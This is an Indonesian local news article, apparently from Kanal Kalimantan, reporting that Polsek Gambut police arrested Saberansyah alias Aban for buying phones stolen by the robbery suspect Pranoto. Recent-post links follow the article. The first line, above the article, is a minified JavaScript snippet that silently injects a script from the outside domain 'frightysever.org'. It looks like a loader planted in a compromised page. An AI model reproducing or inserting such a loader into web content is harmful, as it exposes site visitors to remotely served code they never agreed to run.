(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polisi Bekuk Aban, Penadah Barang Hasil Begal


MARTAPURA, Setelah meringkus Pranoto, yang merupakan tersangka begal, Unit Reskrim Polsek Gambut kembali berhasil menangkap penadah barang hasil begal di sebuah rumah yang terletak di Jalan Pahlawan Desa Guntung Ujung, Kecamatan Gambut, Kabupaten Banjar, Kamis (5/7).

Sebelumnya Unit Reskrim Polsek Gambut dan Anggota Intelkam Polsek Gambut pimpin Kanit Reskrim Ipda H. Ruspandi didampingi Kanit Intelkam Bripka Edy Purwanto berhasil meringkus Pranoto alias Noto yang diketahui telah melakukan aksi begal di Jalan A Yani Km 17.500  Kelurahan Gambut, Kecamatan Gambut. Pada kasusnya itu, Pranoto merampas barang milik korbannya berupa 1 Buah Handphone Oppo A57 dan 1 Buah Handphone Neo 7.

Baca Juga : Tujuh Kali Melakukan Aksi Begal, Pranoto ‘Dihadiahi’ Timah Panas

Paska penangkapan terhadap Pranoto, pihak Kepolisian selanjutnya melakukan pengembangan untuk mengetahui tersangka yang berperan sebagai penadah barang bukti kasus tersebut. Alhasil, Unit Reskrim Polsek Gambut dan Anggota Intelkam Gambut berhasil mengamanan Saberansyah alias Aban yang mengakui telah membeli barang hasil kejahatan.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Gambut AKP Purnoto membenarkan penangkapan terhadap pelaku penadah barang kejahatan tersebut.

“Benar pelaku Aban ini telah mengakui membeli 1 Buah Handphone Oppo A57 dan 1  Buah Handphone Neo 7 dari  tersangka Pranoto yang sebelumnya telah diamankan,” ungkapnya.

Pranoto sudah 7 kali melakukan tindak pidana pencurian dengan pemberatan dengan tempat kejadian Perkara di Wilayah Hukum Polsek Gambut. “Semua aksinya itu pelaku mendapatkan 6 buah Hp dan 1 kendaraan motor Honda Revo warna Hitam“ pungkas Kapolres Banjar

Dalam pengakuannya, Aban mengungkapkan telah membeli handphone merek Oppo dari tersangka Pranoto dengan kisaran harga Rp 1 juta. Namun dirinya menyangkal tidak mengetahui Handphone yang dibelinya tersebut merupakan hasil dari tindak kejahatan yang mana hal ini bertentangan dengan pengakuan Pranoto yang mengatakan bahwa Aban sebenarnya mengetahui Handphone tersebut atas aksi begalnya. “pengakuan keduanya, si penadah dan si tersangka begal bertentangan, namun kita masih proses lebih lanjut” ungkapnya. (rico)

Reporter:Rico
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Antar Kepulangan Jemaah Sekumpul, Posko Terpadu di Bandara Syamsudin Noor Ditutup

KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More

13 jam ago

Susun RKPD Tahun 2026, Bappedalitbang Banjar Gelar Musrenbang

KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More

15 jam ago

Eksepsi Dua Terdakwa Suap Proyek PUPR Kalsel, Jaksa KPK: Keberatan Tak Berdasar

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More

16 jam ago

6 Januari : Hari Anak Yatim Korban Perang se Dunia

KANALKALIMANTAN.COM - 6 Januari diperingati sebagai Hari Anak Yatim Korban Perang se Dunia. Momentum hari… Read More

17 jam ago

Sukses Amankan Kelistrikan Natal, Dirut PLN Pimpin Siaga Pergantian Tahun

KANALKALIMANTAN.COM, JAKARTA - Setelah berhasil mengamankan sistem kelistrikan saat periode Natal 2024, Direktur Utama PLN… Read More

18 jam ago

Lautan Jemaah Sekumpul, 4,1 Juta Pengguna Ponsel Tersebar di Martapura-Banjarbaru

KANALKALIMANTAN.COM, MARTAPURA - Rangkaian kegiatan Haul ke-20 Guru Sekumpul di Musholla Ar-Raudhah, Martapura, Kabupaten Banjarbaru,… Read More

18 jam ago

This website uses cookies.